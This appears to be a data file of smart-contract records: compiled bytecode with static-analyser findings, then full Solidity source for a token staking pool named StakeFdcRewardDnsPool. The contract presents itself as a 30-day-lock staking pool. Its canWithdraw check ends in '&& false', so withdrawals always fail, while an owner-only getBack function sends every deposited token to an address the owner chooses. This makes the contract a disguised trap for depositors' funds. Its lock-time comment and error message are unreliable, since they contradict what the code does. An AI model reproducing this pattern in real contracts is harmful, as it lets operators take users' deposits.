00080fd5b6109f26109eb8760030154606461252c565b600a612548565b9450610a09610a0286606461252c565b6002612548565b9350610a20610a1986606461252c565b6001612548565b9250610a2c838561257a565b9150610a388583612589565b6001870154909150600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610a7057600080fd5b600a860154600160a060020a03166108fc85150285604051600060405180830381858888f193505050501515610aa557600080fd5b600b860154600160a060020a03166108fc84150284604051600060405180830381858888f193505050501515610ada57600080fd5b610ae8866003015486612589565b6003878101919091555443016004870155600a8601546000805160206129af83398151915290600160a060020a031685604051600160a060020a03909216825260208201527f7769746864726177616c50726576696f75734f776e65720000000000000000006040808301919091526060909101905180910390a1600b8601546000805160206129af83398151915290600160a060020a031684604051600160a060020a03909216825260208201527f7769746864726177616c50726576696f75734f776e65723200000000000000006040808301919091526060909101905180910390a160018601546000805160206129af83398151915290600160a060020a031682604051600160a060020a03909216825260208201527f7769746864726177616c4f776e657200000000000000000000000000000000006040808301919091526060909101905180910390a17fdcfb70a6f0f5eab41644ac0cde62fe5f51ce0bb0a53b88ea72c4b2b78ad887bc8760405190815260200160405180910390a150505050505050565b60015490565b600081815260076020526040902060010154600160a060020a03848116911614610ca257600080fd5b600081815260076020526040902060090154600160a060020a03838116911614610ccb57600080fd5b600160a060020a0382161515610ce057600080fd5b610ceb83838361259b565b505050565b565b60008054819081908190819081908190819060a060020a900460ff1615610d1857600080fd5b60008b8152600760205260409020600254909850610d37908b90612548565b600189015490975033600160a060020a03908116911614610d5757600080fd5b33600160a060020a03161515610d6c57600080fd5b3487901015610d7a57600080fd5b8815610d9857610d8e88600601548b61257a565b6006890155610dac565b610da688600701548b61257a565b60078901555b610dc1610dba88606461252c565b6050612548565b9550610dd8610dd188606461252c565b6011612548565b9450610de8610a0288606461252c565b9350610df8610a1988606461252c565b600a890154909350600160a060020a03166108fc85150285604051600060405180830381858888f193505050501515610e3057600080fd5b600b880154600160a060020a03166108fc84150284604051600060405180830381858888f193505050501515610e6557600080fd5b610e7386896003015461257a565b6003890155610e8d610e8686606461252c565b6014612548565b9150610e9d610dba86606461252c565b600554909150600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515610ed357600080fd5b600054600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610f0657600080fd5b600a8801546000805160206129af83398151915290600160a060020a031685604051600160a060020a03909216825260208201527f6275795368697050726576696f75734f776e65720000000000000000000000006040808301919091526060909101905180910390a1600b8801546000805160206129af83398151915290600160a060020a031684604051600160a060020a03909216825260208201527f6275795368697050726576696f75734f776e65723200000000000000000000006040808301919091526060909101905180910390a160018801547ff93b010291992b1f39b774e39ebd25679d89423a837516acc89864839e693579908c90600160a060020a0316604051918252600160a060020a031660208201526040908101905180910390a15050505050505050505050565b600081815260076020526040902060010154600160a060020a031680151561106057600080fd5b919050565b60005460a060020a900460ff1681565b600160a060020a031660009081526006602052604090205490565b600054600160a060020a031681565b600081815260076020819052604090912080546001820154600283015460038401546004850154600586015460068701549787015460089097015498999598600160a060020a039095169793969295919490939291565b60008060008060008060008060008060008060149054906101000a900460ff1615156000151514151561112857600080fd5b600760008e81526020019081526020016000209a50600860008e81526020019081526020016000209950600760008d81526020019081526020016000209850600860008d8152602001908152602001600020975033600160a060020a03168b60010160009054906101000a9004600160a060020a0316600160a060020a03161415156111b357600080fd5b6001808a0154908c0154600160a060020a03908116911614156111d557600080fd5b33600160a060020a031615156111ea57600080fd5b34156111f557600080fd5b60068a015443101561120657600080fd5b600788015443101561121757600080fd5b60068b01546000901161122957600080fd5b600789015460068c01541161123d57600080fd5b61125661124f8a60030154606461252c565b6019612548565b9650611266896003015488612589565b60038a015589546001018a5560048a0154611281908861257a565b60048b0155600388018054600101905560058801546112a0908861257a565b6005890155600454430160068b018190556007890181905595506112cf6112c888606461252c565b604b612548565b94506112df8b600301548661257a565b60038c015560068b0154611300906112fb610a0282606461252c565b612589565b60068c0155600789015461131c906112fb6109eb82606461252c565b60078a015561133661132f88606461252c565b600f612548565b935061134d61134688606461252c565b6006612548565b925061136461135d88606461252c565b6003612548565b9150611374610a1988606461252c565b60018c0154909150600160a060020a031684156108fc0285604051600060405180830381858888f1935050505015156113ac57600080fd5b600a8b0154600160a060020a03166108fc84150284604051600060405180830381858888f1935050505015156113e157600080fd5b600b8b0154600160a060020a03166108fc83150283604051600060405180830381858888f19350505050151561141657600080fd5b600554600160a060020a03166108fc611433610e8684606461252c565b9081150290604051600060405180830381858888f19350505050151561145857600080fd5b600054600160a060020a03166108fc611475610dba84606461252c565b9081150290604051600060405180830381858888f19350505050151561149a57600080fd5b7fbfdc5cbaee78217e7eda2a48bd822c621bbee874c4148603f419f857bc506d3c8d8d8960405180848152602001838152602001828152602001935050505060405180910390a150505050505050505050505050565b60005433600160a060020a0390811691161461150b57600080fd5b33600160a060020a0316151561152057600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a179055565b61154e6128d7565b60408051908101604052600381527f45495300000000000000000000000000000000000000000000000000000000006020820152905090565b60408051908101604052600c81527f457468657249736c616e64730000000000000000000000000000000000000000602082015281565b33600160a060020a031615156115d357600080fd5b60008181526007602052604090206001015433600160a060020a039081169116146115fd57600080fd5b61160833838361259b565b5050565b600081815260076020526040902060010154600160a060020a03908116903316151561163757600080fd5b60008281526007602052604090206009015433600160a060020a0390811691161461166157600080fd5b61160881338461259b565b60005433600160a060020a0390811691161461168757600080fd5b33600160a060020a0316151561169c57600080fd5b6116ab85848660008686612642565b5050505050565b60009081526007602052604090206002015490565b60005433600160a060020a039081169116146116e257600080fd5b33600160a060020a031615156116f757600080fd5b6000805474ff000000000000000000000000000000000000000019169055565b600081815260086020526040902080546001820154600283015460038401546004850154600586015460068701546007909701549798959794969395929491939092909190565b6117666128d7565b61176e6128d7565b6117766128d7565b61177e6128d7565b6117866128d7565b61178e6128d7565b6117966128d7565b61179e6128d7565b6117a66128d7565b6117ae6128d7565b6117b66128d7565b6117be6128d7565b6117c66128d7565b6117ce6128d7565b60006001546040518059106117e05750595b908082528060200260200182016040525097506001546040518059106118035750595b908082528060200260200182016040525096506001546040518059106118265750595b908082528060200260200182016040525095506001546040518059106118495750595b9080825280602002602001820160405250945060015460405180591061186c5750595b9080825280602002602001820160405250935060015460405180591061188f5750595b908082528060200260200182016040525092506001546040518059106118b25750595b90808252806020026020018201604052509150600090505b600154811015611a0b57808882815181106118e157fe5b6020908102909101810191909152600082815260079091526040902060010154600160a060020a031687828151811061191657fe5b600160a060020a03909216602092830290910182015260008281526007909152604090206002015486828151811061194a57fe5b602090810290910181019190915260008281526007909152604090206003015485828151811061197657fe5b60209081029091018101919091526000828152600790915260409020600601548482815181106119a257fe5b602090810290910181019190915260008281526007918290526040902001548382815181106119cd57fe5b60209081029091018101919091526000828152600790915260409020600801548282815181106119f957fe5b602090810290910101526001016118ca565b50959d949c50929a50909850965094509092509050565b611a2a6128e9565b60008281526007602052604090819020600a019060029080519081016040529190828260026020028201915b8154600160a060020a03168152600190910190602001808311611a565750505050509050919050565b60005433600160a060020a03908116911614611a9a57600080fd5b80600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f193505050501515611ad757600080fd5b50565b6000805481908190819081908190819081908190819060a060020a900460ff1615611b0457600080fd5b60008b81526007602052604090206001810154909a5033600160a060020a0390811691161415611b3357600080fd5b33600160a060020a03161515611b4857600080fd5b60028a0154341015611b5957600080fd5b611b67348b60020154612589565b985060008a600501541115611ee757611b8f611b888b6002015460a061252c565b6082612548565b9750611baa611ba38b6002015460a061252c565b6012612548565b9650611bc5611bbe8b6002015460a061252c565b6007612548565b9550611bd961135d8b6002015460a061252c565b9450611bed610a028b6002015460a061252c565b600a8b0154909450600160a060020a03166108fc86150286604051600060405180830381858888f193505050501515611c2557600080fd5b600b8a0154600160a060020a03166108fc85150285604051600060405180830381858888f193505050501515611c5a57600080fd5b611c68878b6003015461257a565b60038b0155611c7b610e8687606461252c565b9250611c8b610dba87606461252c565b600554909250600160a060020a031683156108fc0284604051600060405180830381858888f193505050501515611cc157600080fd5b600054600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515611cf457600080fd5b600a8a01546000805160206129af83398151915290600160a060020a031686604051600160a060020a03909216825260208201527f70726576696f75734f776e6572000000000000000000000000000000000000006040808301919091526060909101905180910390a1600b8a01546000805160206129af83398151915290600160a060020a031685604051600160a060020a03909216825260208201527f70726576696f75734f776e6572320000000000000000000000000000000000006040808301919091526060909101905180910390a160018a01546000805160206129af83398151915290600160a060020a031689604051600160a060020a03909216825260208201527f6f776e65720000000000000000000000000000000000000000000000000000006040808301919091526060909101905180910390a16000546000805160206129af83398151915290600160a060020a031687604051600160a060020a03909216825260208201527f64657600000000000000000000000000000000000000000000000000000000006040808301919091526060909101905180910390a160018a015430600160a060020a03908116911614611ee75760018a0154600160a060020a031688156108fc0289604051600060405180830381858888f193505050501515611ee757600080fd5b50600289015460058a01819055600354430160048b015560018a0154600160a060020a031690611f2390611f1c90606461252c565b60a0612548565b60028b0155600a8a0160000154600160a060020a0316600a8b016001018054600160a060020a031916600160a060020a0392831617905560018b015416600a8b0160000160006101000a815481600160a060020a030219169083600160a060020a03160217905550338a60010160006101000a815481600160a060020a030219169083600160a060020a03160217905550896008016000815480929190600101919050555060016006600083600160a060020a0316600160a060020a03168152602001908152602001600020600082825403925050819055506001600660008c60010160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a03168152602001908152602001600020600082825401925050819055506004544301600860008d8152602001908152602001600020600601819055506004544301600860008d81526020019081526020016000206007018190555060008051602061298f833981519152818b60010160009054906101000a9004600160a060020a03168d604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a160058a015460028b015460018c01548c547fdcab0704e5b2c212cba558657bf325bc1b823c2a4e89c77e93926533ec56b5f9938f93909290918691600160a060020a0316906040519586526020860194909452604080860193909352600160a060020a03918216606086015216608084015260a083019190915260c0909101905180910390a1600160a060020a03331689156108fc028a604051600060405180830381858888f19350505050151561219157600080fd5b5050505050505050505050565b60005433600160a060020a039081169116146121b957600080fd5b600160a060020a03811615156121ce57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b60408051908101604052600381527f4549530000000000000000000000000000000000000000000000000000000000602082015281565b610160604051908101604052848152602081018451600160a060020a03168152602001835181526020018360016020020151815260200160408401518152602001606084015181526020016080840151815260200160a0840151815260200160c084015181526020016000600160a060020a0316815260200160408051908101604052806020870151600160a060020a031681526020016040870151600160a060020a0316905290526001546000908152600760205260409020815181556020820151600182018054600160a060020a031916600160a060020a039290921691909117905560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e082015181600701556101008201518160080155610120820151600982018054600160a060020a031916600160a060020a03929092169190911790556101408201516123cd90600a8301906002612910565b5090505061010060405190810160405280825181526020018260016020020151815260200160408301518152602001606083015181526020016080830151815260200160a0830151815260200160c0830151815260200160e083015190526001546000908152600860205260409020815181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e082015160079190910155506001547f6dbe83e0361d1759b05d67925ee5ed7d3c73361da16f0abb8aaebf121c7fd345908585516040519283526020830191909152600160a060020a03166040808301919091526060909101905180910390a160008051602061298f833981519152308451600154604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a1505060018054810190555050565b600080828481151561253a57fe5b0490508091505b5092915050565b60008083151561255b5760009150612541565b5082820282848281151561256b57fe5b041461257357fe5b9392505050565b60008282018381101561257357fe5b60008282111561259557fe5b50900390565b600081815260076020908152604080832060018082018054600160a060020a03808a16600160a060020a031992831681179093556009909401805490911690559188168552600690935281842080546000190190558352918290208054909101905560008051602061298f8339815191529084908490849051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a1505050565b610160604051908101604052808760001916815260200186600160a060020a031681526020018581526020016000815260200160008152602001848152602001838152602001828152602001600081526020016000600160a060020a03168152602001604080519081016040908152600160a060020a038916808352602080840191909152919092526001546000908152600790915220815181556020820151600182018054600160a060020a031916600160a060020a039290921691909117905560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e082015181600701556101008201518160080155610120820151600982018054600160a060020a031916600160a060020a039290921691909117905561014082015161278990600a8301906002612910565b5090505061010060405190810160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815250600860006001548152602001908152602001600020600082015181556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e082015181600701559050507f6dbe83e0361d1759b05d67925ee5ed7d3c73361da16f0abb8aaebf121c7fd34560015487876040519283526020830191909152600160a060020a03166040808301919091526060909101905180910390a160008051602061298f8339815191523086600154604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050600180548101905550505050565b60206040519081016040526000815290565b604080519081016040526002815b6000815260001990910190602001816128f75790505090565b826002810192821561295a579160200282015b8281111561295a5782518254600160a060020a031916600160a060020a039190911617825560209290920191600190910190612923565b5061296692915061296a565b5090565b61087091905b80821115612966578054600160a060020a03191681556001016129705600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef643236658eb2709c16f0857e1a7a4fffee3c798264461cc3462be70c4fa9d8cda165627a7a72305820f468d00250687fe9352ac04319e0bf06cecd1a5d93a3f705b947cb90fac8b0340029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 150 |
0xa2bc379974a2e6b35e2610f921c5474c1fb32567 | // Created By BitDNS.vip
// contact : StakeDnsRewardDnsPool
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.8;
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IMinableERC20 is IERC20 {
function mint(address account, uint amount) public;
}
contract StakeFdcRewardDnsPool {
using SafeMath for uint256;
using Address for address;
using SafeERC20 for IERC20;
using SafeERC20 for IMinableERC20;
IERC20 public stakeToken;
IERC20 public rewardToken;
bool public started;
uint256 public totalSupply;
uint256 public rewardFinishTime = 0;
uint256 public rewardRate = 0;
mapping(address => uint256) public rewards;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public stakeStartOf;
mapping(address => uint256) public stakeCount;
mapping(address => mapping(uint256 => uint256)) public stakeAmount;
mapping(address => mapping(uint256 => uint256)) public stakeTime;
address private governance;
event Staked(address indexed user, uint256 amount, uint256 beforeT, uint256 afterT);
event Withdrawn(address indexed user, uint256 amount, uint256 beforeT, uint256 afterT);
event RewardPaid(address indexed user, uint256 reward, uint256 beforeT, uint256 afterT);
event StakeItem(address indexed user, uint256 idx, uint256 time, uint256 amount);
event UnstakeItem(address indexed user, uint256 idx, uint256 time, uint256 beforeT, uint256 afterT);
modifier onlyOwner() {
require(msg.sender == governance, "!governance");
_;
}
constructor () public {
governance = msg.sender;
}
function start(address stake_token, address reward_token) public onlyOwner {
require(!started, "already started");
require(stake_token != address(0) && stake_token.isContract(), "stake token is non-contract");
require(reward_token != address(0) && reward_token.isContract(), "reward token is non-contract");
started = true;
stakeToken = IERC20(stake_token);
rewardToken = IERC20(reward_token);
rewardFinishTime = block.timestamp.add(10 * 365.25 days);
}
function lastTimeRewardApplicable() internal view returns (uint256) {
return block.timestamp < rewardFinishTime ? block.timestamp : rewardFinishTime;
}
function earned(address account) public view returns (uint256) {
uint256 r = 0;
uint256 stakeIndex = stakeCount[account];
for (uint256 i = 0; i < stakeIndex; i++) {
if (stakeAmount[account][i] > 0) {
r = r.add(calcReward(stakeAmount[account][i], stakeTime[account][i], lastTimeRewardApplicable()));
}
}
return r.add(rewards[account]);
}
function stake(uint256 amount) public {
require(started, "Not start yet");
require(amount > 0, "Cannot stake 0");
require(stakeToken.balanceOf(msg.sender) >= amount, "insufficient balance to stake");
uint256 beforeT = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
totalSupply = totalSupply.add(amount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(amount);
uint256 afterT = stakeToken.balanceOf(address(this));
emit Staked(msg.sender, amount, beforeT, afterT);
if (stakeStartOf[msg.sender] == 0) {
stakeStartOf[msg.sender] = block.timestamp;
}
uint256 stakeIndex = stakeCount[msg.sender];
stakeAmount[msg.sender][stakeIndex] = amount;
stakeTime[msg.sender][stakeIndex] = block.timestamp;
stakeCount[msg.sender] = stakeCount[msg.sender].add(1);
rewardRate = totalSupply.mul(100).div(160 days);
emit StakeItem(msg.sender, stakeIndex, block.timestamp, amount);
}
function calcReward(uint256 amount, uint256 startTime, uint256 endTime) public pure returns (uint256) {
uint256 day = endTime.sub(startTime).div(1 days);
return amount.mul(25 * (day > 160 ? 160 : day));
}
function _unstake(address account, uint256 amount) private returns (uint256) {
uint256 unstakeAmount = 0;
uint256 stakeIndex = stakeCount[msg.sender];
for (uint256 i = 0; i < stakeIndex; i++) {
uint256 itemAmount = stakeAmount[msg.sender][i];
if (itemAmount == 0) {
continue;
}
if (unstakeAmount.add(itemAmount) > amount) {
itemAmount = amount.sub(unstakeAmount);
}
unstakeAmount = unstakeAmount.add(itemAmount);
stakeAmount[msg.sender][i] = stakeAmount[msg.sender][i].sub(itemAmount);
rewards[msg.sender] = rewards[msg.sender].add(calcReward(itemAmount, stakeTime[msg.sender][i], lastTimeRewardApplicable()));
emit UnstakeItem(account, i, block.timestamp, stakeAmount[msg.sender][i].add(itemAmount), stakeAmount[msg.sender][i]);
}
return unstakeAmount;
}
function withdraw(uint256 amount) public {
require(started, "Not start yet");
require(amount > 0, "Cannot withdraw 0");
require(balanceOf[msg.sender] >= amount, "Insufficient balance to withdraw");
// Add Lock Time Begin:
require(canWithdraw(msg.sender), "Must be locked for 30 days or Mining ended");
uint256 unstakeAmount = _unstake(msg.sender, amount);
// Add Lock Time End!!!
uint256 beforeT = stakeToken.balanceOf(address(this));
totalSupply = totalSupply.sub(unstakeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(unstakeAmount);
stakeToken.safeTransfer(msg.sender, unstakeAmount);
uint256 afterT = stakeToken.balanceOf(address(this));
rewardRate = totalSupply.mul(100).div(160 days);
emit Withdrawn(msg.sender, unstakeAmount, beforeT, afterT);
}
function exit() external {
require(started, "Not start yet");
withdraw(balanceOf[msg.sender]);
getReward();
}
function getReward() public {
require(started, "Not start yet");
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
uint256 beforeT = rewardToken.balanceOf(address(this));
//rewardToken.mint(msg.sender, reward);
rewardToken.safeTransfer(msg.sender, reward);
uint256 afterT = rewardToken.balanceOf(address(this));
emit RewardPaid(msg.sender, reward, beforeT, afterT);
}
}
function getBack(address account) public onlyOwner {
uint256 left = stakeToken.balanceOf(address(this));
if (left > 0) {
stakeToken.safeTransfer(account, left);
}
left = rewardToken.balanceOf(address(this));
if (left > 0) {
rewardToken.safeTransfer(account, left);
}
}
function canHarvest(address account) public view returns (bool) {
return earned(account) > 0;
}
// Add Lock Time Begin:
function canWithdraw(address account) public view returns (bool) {
return started && (balanceOf[account] > 0) && false;
}
// Add Lock Time End!!!
} | 0x608060405234801561001057600080fd5b50600436106101415760003560e01c80634b5effc2116100b85780637b0a47ee1161007c5780637b0a47ee146105b85780639935a666146105d6578063a694fc3a1461061a578063e9fad8ee14610648578063f7c618c114610652578063fb70261a1461069c57610141565b80634b5effc21461043e57806351ed6a30146104a057806365421911146104ea5780636b419bf71461054257806370a082311461056057610141565b80631f2698ab1161010a5780631f2698ab146102d25780632e1a7d4d146102f457806333060d90146103225780633ccfe8871461037a5780633d18b912146103de57806342b39a5e146103e857610141565b80628cc262146101465780630700037d1461019e5780630b37b48d146101f657806318160ddd1461025857806319262d3014610276575b600080fd5b6101886004803603602081101561015c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106f8565b6040518082815260200191505060405180910390f35b6101e0600480360360208110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108da565b6040518082815260200191505060405180910390f35b6102426004803603604081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f2565b6040518082815260200191505060405180910390f35b610260610917565b6040518082815260200191505060405180910390f35b6102b86004803603602081101561028c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061091d565b604051808215151515815260200191505060405180910390f35b6102da61098b565b604051808215151515815260200191505060405180910390f35b6103206004803603602081101561030a57600080fd5b810190808035906020019092919050505061099e565b005b6103646004803603602081101561033857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f02565b6040518082815260200191505060405180910390f35b6103dc6004803603604081101561039057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1a565b005b6103e66112b0565b005b610428600480360360608110156103fe57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611631565b6040518082815260200191505060405180910390f35b61048a6004803603604081101561045457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061168e565b6040518082815260200191505060405180910390f35b6104a86116b3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61052c6004803603602081101561050057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116d8565b6040518082815260200191505060405180910390f35b61054a6116f0565b6040518082815260200191505060405180910390f35b6105a26004803603602081101561057657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116f6565b6040518082815260200191505060405180910390f35b6105c061170e565b6040518082815260200191505060405180910390f35b610618600480360360208110156105ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611714565b005b6106466004803603602081101561063057600080fd5b8101908080359060200190929190505050611a41565b005b610650612243565b005b61065a612317565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106de600480360360208110156106b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061233d565b604051808215151515815260200191505060405180910390f35b600080600090506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008090505b8181101561087e576000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000205411156108715761086e61085f600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008581526020019081526020016000205461085a612351565b611631565b84